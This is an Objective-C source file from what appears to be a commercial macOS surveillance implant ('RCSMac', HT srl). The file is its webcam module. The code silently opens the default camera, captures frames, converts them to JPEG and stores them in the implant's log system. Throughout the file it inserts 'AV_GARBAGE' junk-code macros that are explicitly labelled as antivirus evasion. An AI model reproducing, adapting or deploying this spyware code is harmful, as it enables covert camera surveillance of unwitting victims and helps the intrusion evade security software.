core/Agents/RCSMAgentWebcam.m
/*
* RCSMac - Webcam agent
*
*
* Created by Massimo Chiodini on 05/08/2009
*
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#import <ApplicationServices/ApplicationServices.h>
#import "RCSMAgentWebcam.h"
#import "RCSMConfManager.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "RCSMAVGarbage.h"
#define BREAK_AND_FREE(x) {if ([mAgentConfiguration objectForKey: @"status"] == AGENT_STOP) \
{if(x != nil) [(NSAutoreleasePool *)x release];break;}}
#define BREAK_AND_FREE_CV(x) {if ([mAgentConfiguration objectForKey: @"status"] == AGENT_STOP) \
{if(x != nil) [(NSAutoreleasePool *)x release];\
@synchronized(self) \
{if(mCurrentImageBuffer) CVBufferRelease(mCurrentImageBuffer);mCurrentImageBuffer=NULL;}\
break;}}
static __m_MAgentWebcam *sharedAgentWebcam = nil;
@interface __m_MAgentWebcam (hidden)
- (void)captureOutput: (QTCaptureOutput *)captureOutput
didOutputVideoFrame: (CVImageBufferRef)videoFrame
withSampleBuffer: (QTSampleBuffer *)sampleBuffer
fromConnection: (QTCaptureConnection *)connection;
- (BOOL)_initSession;
- (BOOL)_startSession;
- (BOOL)_stopSession;
- (BOOL)_releaseSession;
- (BOOL)_startGrabImageWithFrame: (int)nFrame every: (int)seconds;
@end
@implementation __m_MAgentWebcam (hidden)
- (void)captureOutput: (QTCaptureOutput *)captureOutput
didOutputVideoFrame: (CVImageBufferRef)videoFrame
withSampleBuffer: (QTSampleBuffer *)sampleBuffer
fromConnection: (QTCaptureConnection *)connection
{
// AV evasion: only on release build
AV_GARBAGE_008
#ifdef DEBUG_WEBCAM
infoLog(@"receiving buffer");
#endif
if (videoFrame == nil )
{
#ifdef DEBUG_WEBCAM
infoLog(@"videoFrame none");
#endif
return;
}
// AV evasion: only on release build
AV_GARBAGE_001
// if (mImageGrabbed == YES)
// {
//#ifdef DEBUG_WEBCAM
// infoLog(@"mImageGrabbed already grabbed");
//#endif
// return;
// }
// AV evasion: only on release build
AV_GARBAGE_002
@synchronized(self)
{
CVBufferRetain(videoFrame);
mCurrentImageBuffer = videoFrame;
mImageGrabbed = YES;
}
// AV evasion: only on release build
AV_GARBAGE_003
#ifdef DEBUG_WEBCAM
infoLog(@"grabbed");
#endif
}
- (BOOL)_releaseSession
{
[mCaptureDecompressedVideoOutput release];
[mCaptureDeviceInput release];
[mCaptureSession release];
[mDevice close];
mImageGrabbed = NO;
mCaptureSession = nil;
mDevice = nil;
mCaptureDeviceInput = nil;
mCaptureDecompressedVideoOutput = nil;
return YES;
}
- (BOOL)_initSession
{
NSError *error;
// AV evasion: only on release build
AV_GARBAGE_007
mCaptureSession = [[QTCaptureSession alloc] init];
// AV evasion: only on release build
AV_GARBAGE_003
mDevice = [QTCaptureDevice defaultInputDeviceWithMediaType:QTMediaTypeVideo];
// AV evasion: only on release build
AV_GARBAGE_004
if (![mDevice open: &error])
{
// AV evasion: only on release build
AV_GARBAGE_002
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_001
mCaptureDeviceInput = [[QTCaptureDeviceInput alloc] initWithDevice: mDevice];
// AV evasion: only on release build
AV_GARBAGE_003
@synchronized(self)
{
if (![mCaptureSession addInput: mCaptureDeviceInput
error: &error])
{
// AV evasion: only on release build
AV_GARBAGE_008
return NO;
}
}
mCaptureDecompressedVideoOutput = [[QTCaptureDecompressedVideoOutput alloc] init];
// AV evasion: only on release build
AV_GARBAGE_001
if ([mCaptureDecompressedVideoOutput delegate] != self)
[mCaptureDecompressedVideoOutput setDelegate: self];
#ifdef DEBUG_WEBCAM
infoLog(@"delegate: %@", [mCaptureDecompressedVideoOutput delegate]);
#endif
// AV evasion: only on release build
AV_GARBAGE_003
@synchronized(self)
{
if (![mCaptureSession addOutput: mCaptureDecompressedVideoOutput
error: &error])
{
// AV evasion: only on release build
AV_GARBAGE_000
return NO;
}
}
// AV evasion: only on release build
AV_GARBAGE_001
return YES;
}
- (BOOL)_stopSession
{
// AV evasion: only on release build
AV_GARBAGE_003
[mCaptureSession stopRunning];
// AV evasion: only on release build
AV_GARBAGE_002
while([mCaptureSession isRunning] == YES)
usleep(1000);
// AV evasion: only on release build
AV_GARBAGE_001
return YES;
}
- (BOOL)_startSession
{
[mCaptureSession startRunning];
// AV evasion: only on release build
AV_GARBAGE_003
if ([mCaptureSession isRunning] == NO)
return NO;
// AV evasion: only on release build
AV_GARBAGE_002
return YES;
}
- (BOOL)_startGrabImageWithFrame: (int)nFrame
every: (int)seconds
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_001
int count = 0;
while (count++ < nFrame || nFrame == 0)
{
// AV evasion: only on release build
AV_GARBAGE_003
NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init];
#ifdef DEBUG_WEBCAM
infoLog(@"starting session");
#endif
if ([self _startSession] == NO)
{
@synchronized(self)
{
// AV evasion: only on release build
AV_GARBAGE_002
if (mCurrentImageBuffer)
CVBufferRelease(mCurrentImageBuffer);
// AV evasion: only on release build
AV_GARBAGE_004
mCurrentImageBuffer = NULL;
}
#ifdef DEBUG_WEBCAM
infoLog(@"error starting session");
#endif
[innerPool release];
break;
}
// AV evasion: only on release build
AV_GARBAGE_005
#ifdef DEBUG_WEBCAM
infoLog(@"waiting image...");
#endif
while (mImageGrabbed == NO)
{
BREAK_AND_FREE(nil);
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow: 2.0]];
}
// AV evasion: only on release build
AV_GARBAGE_000
#ifdef DEBUG_WEBCAM
infoLog(@"stopping session");
#endif
if ([self _stopSession] == NO)
{
@synchronized(self)
{
if (mCurrentImageBuffer)
CVBufferRelease(mCurrentImageBuffer);
mCurrentImageBuffer = NULL;
}
// AV evasion: only on release build
AV_GARBAGE_006
[innerPool release];
break;
}
BREAK_AND_FREE_CV(innerPool);
// AV evasion: only on release build
AV_GARBAGE_007
if (mCurrentImageBuffer == NULL)
{
// AV evasion: only on release build
AV_GARBAGE_002
[innerPool release];
break;
}
#ifdef DEBUG_WEBCAM
infoLog(@"create JPEG");
#endif
NSBitmapImageRep *bitmap;
@synchronized(self)
{
bitmap = [[NSBitmapImageRep alloc]
initWithCIImage: [CIImage imageWithCVImageBuffer: mCurrentImageBuffer]];
}
// AV evasion: only on release build
AV_GARBAGE_002
NSData *dataBitmap = [bitmap representationUsingType: NSJPEGFileType
properties: nil];
// AV evasion: only on release build
AV_GARBAGE_009
NSMutableData *dataImage = [[NSMutableData alloc] initWithData: dataBitmap];
// AV evasion: only on release build
AV_GARBAGE_003
#ifdef DEBUG_WEBCAM
infoLog(@"create log");
#endif
__m_MLogManager *logManager = [__m_MLogManager sharedInstance];
BOOL success = [logManager createLog: AGENT_CAM
agentHeader: nil
withLogID: 0];
// AV evasion: only on release build
AV_GARBAGE_005
if (success == TRUE)
{
if ([logManager writeDataToLog: dataImage
forAgent: AGENT_CAM
withLogID: 0] == TRUE)
{
#ifdef DEBUG_WEBCAM
infoLog(@"data written correctly");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_002
[logManager closeActiveLog: AGENT_CAM
withLogID: 0];
}
// AV evasion: only on release build
AV_GARBAGE_009
[dataImage release];
[bitmap release];
// AV evasion: only on release build
AV_GARBAGE_004
@synchronized(self)
{
if (mCurrentImageBuffer)
CVBufferRelease(mCurrentImageBuffer);
mCurrentImageBuffer = NULL;
mImageGrabbed = NO;
}
[innerPool release];
// AV evasion: only on release build
AV_GARBAGE_007
for(int sc=0; sc < seconds; sc++)
{
BREAK_AND_FREE(nil);
sleep(1);
}
// AV evasion: only on release build
AV_GARBAGE_004
}
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_001
return YES;
}
@end
@implementation __m_MAgentWebcam
+ (__m_MAgentWebcam *)sharedInstance
{
@synchronized(self)
{
if (sharedAgentWebcam == nil)
{
//
// Assignment is not done here
//
[[self alloc] init];
}
}
return sharedAgentWebcam;
}
+ (id)allocWithZone: (NSZone *)aZone
{
@synchronized(self)
{
if (sharedAgentWebcam == nil)
{
sharedAgentWebcam = [super allocWithZone: aZone];
//
// Assignment and return on first allocation
//
return sharedAgentWebcam;
}
}
// On subsequent allocation attemps return nil
return nil;
}
- (id)copyWithZone: (NSZone *)aZone
{
return self;
}
- (unsigned)retainCount
{
// Denotes an object that cannot be released
return UINT_MAX;
}
- (id)init
{
Class myClass = [self class];
@synchronized(myClass)
{
if (sharedAgentWebcam != nil)
{
self = [super init];
if (self != nil)
{
sharedAgentWebcam = self;
mImageGrabbed = NO;
mCurrentImageBuffer = NULL;
mCaptureSession = nil;
mDevice = nil;
mCaptureDeviceInput = nil;
mCaptureDecompressedVideoOutput = nil;
}
}
}
return sharedAgentWebcam;
}
- (void)release
{
// Do nothing
}
- (id)autorelease
{
return self;
}
- (id)retain
{
return self;
}
- (BOOL)stop
{
int internalCounter = 0;
// AV evasion: only on release build
AV_GARBAGE_001
[mAgentConfiguration setObject: AGENT_STOP forKey: @"status"];
while (![[mAgentConfiguration objectForKey: @"status"] isEqualToString:AGENT_STOPPED] &&
internalCounter <= MAX_STOP_WAIT_TIME)
{
internalCounter++;
usleep(100000);
}
// AV evasion: only on release build
AV_GARBAGE_002
return YES;
}
- (BOOL)resume
{
return YES;
}
- (void)start
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
[mAgentConfiguration setObject: AGENT_RUNNING forKey: @"status"];
if ([self _initSession] == YES)
{
if ([self _startGrabImageWithFrame: 1 every: 0] == YES)
{
// AV evasion: only on release build
AV_GARBAGE_000
#ifdef DEBUG_WEBCAM
infoLog(@"Webcam grabbing done!");
#endif
}
[self _releaseSession];
}
// AV evasion: only on release build
AV_GARBAGE_002
[mAgentConfiguration setObject: AGENT_STOPPED forKey: @"status"];
// AV evasion: only on release build
AV_GARBAGE_003
[outerPool release];
}
#pragma mark -
#pragma mark Getter/Setter
#pragma mark -
- (void)setAgentConfiguration: (NSMutableDictionary *)aConfiguration
{
if (aConfiguration != mAgentConfiguration)
{
// AV evasion: only on release build
AV_GARBAGE_000
[mAgentConfiguration release];
mAgentConfiguration = [aConfiguration retain];
}
}
- (NSMutableDictionary *)mAgentConfiguration
{
// AV evasion: only on release build
AV_GARBAGE_000
return mAgentConfiguration;
}
@end